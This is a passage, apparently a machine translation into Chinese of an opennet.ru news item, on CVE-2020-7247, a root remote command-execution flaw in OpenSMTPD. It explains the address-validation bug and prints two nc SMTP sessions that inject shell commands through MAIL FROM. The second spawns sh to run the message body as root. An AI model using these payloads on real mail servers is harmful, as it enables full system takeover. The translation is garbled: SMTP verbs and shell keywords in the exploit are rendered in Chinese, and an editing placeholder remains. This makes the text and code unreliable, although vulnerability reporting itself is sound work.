在OpenBSD專案開發的郵件伺服器中 已確定 (CVE-2020-7247),允許以 root 使用者權限在伺服器上遠端執行 shell 命令。該漏洞是在 Qualys Security 進行的重新審計(先前的 OpenSMTPD 審計)期間發現的 2015 年,新的漏洞自 2018 年 XNUMX 月起出現。問題 在 OpenSMTPD 6.6.2 版本中。建議所有使用者立即安裝更新(對於 OpenBSD,可以透過 syspatch 安裝修補程式)。
研究人員提出了兩種攻擊變體。第一種變體適用於預設的 OpenSMTPD 設定(僅接收來自本機的請求),當攻擊者能夠存取伺服器(例如,在託管系統上)的本機網路介面(環回介面)時,即可進行本機攻擊。第二種變體適用於 OpenSMTPD 設定為接收外部網路請求的情況(例如,郵件伺服器接受第三方郵件)。研究人員已準備了一個原型漏洞利用程序,該程序能夠成功利用 OpenBSD 6.6 自帶的 OpenSMTPD 變體以及其他操作系統的可移植版本(已在 [此處應填寫具體操作系統名稱] 中完成測試)。 Debian (測試)。
這個問題是由 smtp_mailaddr() 函數中的錯誤引起的,該函數被呼叫來檢查定義寄件者/收件者並在連接到郵件伺服器期間傳遞的「MAIL FROM」和「RCPT TO」欄位中的值的正確性。為了檢查電子郵件地址中「@」符號之前的部分,呼叫函數 smtp_mailaddr()
valid_localpart() 將字元「!#$%&'*/?^`{|}~+-=_」視為有效字元(MAILADDR_ALLOWED),符合 RFC 5322 的要求。
在這種情況下,在 mda_expand_token() 函數中執行字串的直接轉義,該函數僅取代字元「!#$%&'*?`{|}~」(MAILADDR_ESCAPE)。然後,使用 mda_expand_token() 中準備的字串,透過指令「execle(«/bin/sh», «/bin/sh», «-c», mda_command,…') 呼叫傳送代理 (MDA)。如果透過 /bin/sh 將訊息放入 mbox,則會執行行「/usr/libexec/.localx %%{user.username}”,其中值“%{mbox.from}”包含來自“MAIL FROM”參數的轉義資料。
此漏洞在於 smtp_mailaddr() 存在邏輯錯誤,如果在電子郵件中傳遞一個空域,函數將傳回成功的驗證碼,即使位址「@」之前的部分包含無效字元。接下來,當使用 mda_expand_token() 函數準備字串時,並非所有可能的 shell 特殊字元都會被轉義,而只有電子郵件地址中允許的特殊字元才會被轉義。因此,要運行命令,只需使用符號“;”即可。在電子郵件的本地部分。和空格,這些都不包括在 MAILADDR_ESCAPE 集合中,也不會被轉義。例如:
$ nc 127.0.0.1 25
HELO 教授.falken
郵件寄件者:<;sleep 66;>
收件地址:
數據
.
退出
在此會話之後,OpenSMTPD 將在向 mbox 投遞時透過 shell 運行命令
/usr/libexec/mail.local -f ;睡眠 66;根
同時,由於地址的本地部分不能超過 64 個字符,並且特殊字符“$”和“|”,因此攻擊的可能性受到限制。轉義時被替換為“:”。為了繞過這個限制,事實是,在透過輸入流運行 /usr/libexec/mail.local 之後傳輸訊息正文,即透過操作位址,您只能啟動 sh 命令解釋器並將訊息正文用作一組指令。由於服務 SMTP 標頭在信件開頭指定,因此建議使用循環中的讀取命令呼叫來跳過它們。有效的漏洞利用看起來是這樣的:
$ nc 192.168.56.143 25
HELO 教授.falken
郵件寄件者:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
收件地址:
數據
#0
#1
...
#d
對於 WOPR 中的 i;做
echo -n「($i)」&&id ||休息
完成 > /root/x."`id -u`.""$$"
.
退出
來源: opennet.ru
